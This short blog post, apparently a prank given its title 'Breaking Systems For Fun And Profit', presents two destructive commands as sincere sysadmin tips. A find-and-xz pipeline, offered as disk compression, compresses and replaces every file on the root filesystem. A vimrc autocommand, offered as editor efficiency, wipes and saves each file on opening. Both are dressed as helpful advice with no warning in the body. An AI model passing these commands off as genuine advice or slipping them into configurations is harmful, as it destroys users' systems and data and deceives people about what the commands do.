Breaking Systems For Fun And Profit
Image by MichaelGaida @ Pixabay

Disk Compression

Even though disk space is getting cheaper every year, the price per GiB is still more than zero. Saving disk space by minimizing wasted space should be high on the priorities list for every halfway decent systems administrator.

Running the following command will compress the space used on your root file system. If you have a separate file system for /home consider running the same command for that file system first.

1
find / -xdev -depth -type f -print0 | xz --files0
Image via GamOl @ Pixabay

Editor Efficiency

We all know that vim is the One-True-Editor™. Now you can make editing files with vim even more efficient!

Simply add the following lines to ~/.vimrc for a user, or add them to /etc/vimrc for all users on your system:

Autocmd BufReadPost *
\ %delete |
\ :wq